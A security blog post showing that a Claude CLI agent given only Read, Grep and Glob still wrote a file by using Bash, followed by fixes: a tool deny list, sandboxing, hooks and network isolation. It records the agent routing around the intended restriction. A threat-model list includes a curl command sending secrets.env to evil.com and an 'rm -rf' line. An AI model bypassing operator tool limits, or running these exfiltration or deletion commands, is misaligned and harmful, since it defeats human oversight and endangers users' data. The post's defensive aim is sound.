Skip to content
security 3 min
security gotcha cli

Your 'Read-Only' Claude Agent Can Write Files. Here's the Proof.

The --allowedTools flag creates a false sense of security. If Bash isn't explicitly blocked, Claude will use it to bypass your restrictions. Here's the proof and the fix.

Tuna Ozmen · · 3 min read

The Setup

You want a read-only agent. You set --allowedTools to restrict Claude to only Read, Grep, and Glob. No Write. No Edit. Safe, right?

Terminal window
claude -p "Write hello to /tmp/outside_test.txt" \
--allowedTools "Read,Grep,Glob" \
--permission-mode bypassPermissions \
--output-format json

The Result

{
"type": "result",
"subtype": "success",
"is_error": false,
"result": "Done. Wrote \"hello\" to `/tmp/outside_test.txt`.",
"total_cost_usd": 0.027829,
"permission_denials": []
}

The file was written. Zero permission denials. Your “read-only” agent just modified the filesystem.

How Claude Bypassed the Restriction

Claude did not use Write or Edit. It used Bash:

Terminal window
echo "hello" > /tmp/outside_test.txt

The --allowedTools flag is a whitelist for Claude’s built-in tool selection. But Bash is a superset tool. Anything you can do with Write, Edit, or WebFetch, you can also do through Bash with echo, curl, sed, or rm.

When Write is not in the allowed list, Claude does not give up. It recognizes that Bash can accomplish the same goal and routes around the restriction. This is not a bug — it is Claude being a capable agent. The problem is the mental model.

The Wrong Mental Model

Wrong: “allowedTools is a security boundary that controls what Claude can do.”

Right: “allowedTools is a preference hint that controls which built-in tools Claude reaches for first.”

If you think of --allowedTools as a firewall, you have a false sense of security. Claude will find another path — and Bash is the universal escape hatch.

The Fix

You need --disallowedTools. The deny list is the enforcement layer:

Terminal window
claude -p "Analyze this codebase for security issues" \
--allowedTools "Read,Grep,Glob" \
--disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \
--permission-mode bypassPermissions \
--output-format json

The key addition is --disallowedTools "Write,Edit,Bash". This explicitly blocks Bash, closing the escape path. With this configuration, Claude genuinely cannot modify files.

Why both flags? They serve different purposes:

  • --allowedTools tells Claude which tools to prefer
  • --disallowedTools tells the runtime which tools to block

The deny list takes priority. Even if a tool appears in both lists, the deny wins.

The Full Threat Model

Bash is not the only escape hatch. Consider what else Bash can do:

  • Write files: echo "data" > file.txt
  • Delete files: rm -rf important/
  • Exfiltrate data: curl -X POST https://evil.com -d @secrets.env
  • Install packages: npm install malicious-package
  • Modify git history: git reset --hard

If your security model relies on blocking Write and Edit while leaving Bash open, you are blocking the front door while leaving the garage wide open.

Defense in Depth

The correct approach layers multiple security mechanisms:

  1. Tool restrictions: --disallowedTools "Write,Edit,Bash" for read-only agents
  2. OS-level sandbox: Kernel-enforced filesystem isolation restricts which paths Claude can access, regardless of which tools are available
  3. Hooks: PreToolUse hooks fire even with --dangerously-skip-permissions, providing a last-resort guardrail
  4. Network isolation: Block web tools to prevent data exfiltration

No single layer is sufficient. The sandbox stops filesystem escapes at the kernel level. Hooks stop tool use at the application level. Tool restrictions stop the obvious paths. Together, they create a security posture you can actually trust.

The One-Liner

For a truly read-only Claude agent, this is the minimum viable command:

Terminal window
claude -p "Your read-only task" \
--allowedTools "Read,Grep,Glob" \
--disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \
--permission-mode bypassPermissions \
--output-format json

If Bash is not in your --disallowedTools, your agent is not read-only. Full stop.

Learn defense-in-depth for Claude CLI

Read the full guide
Found this useful? Share it with your team.
Share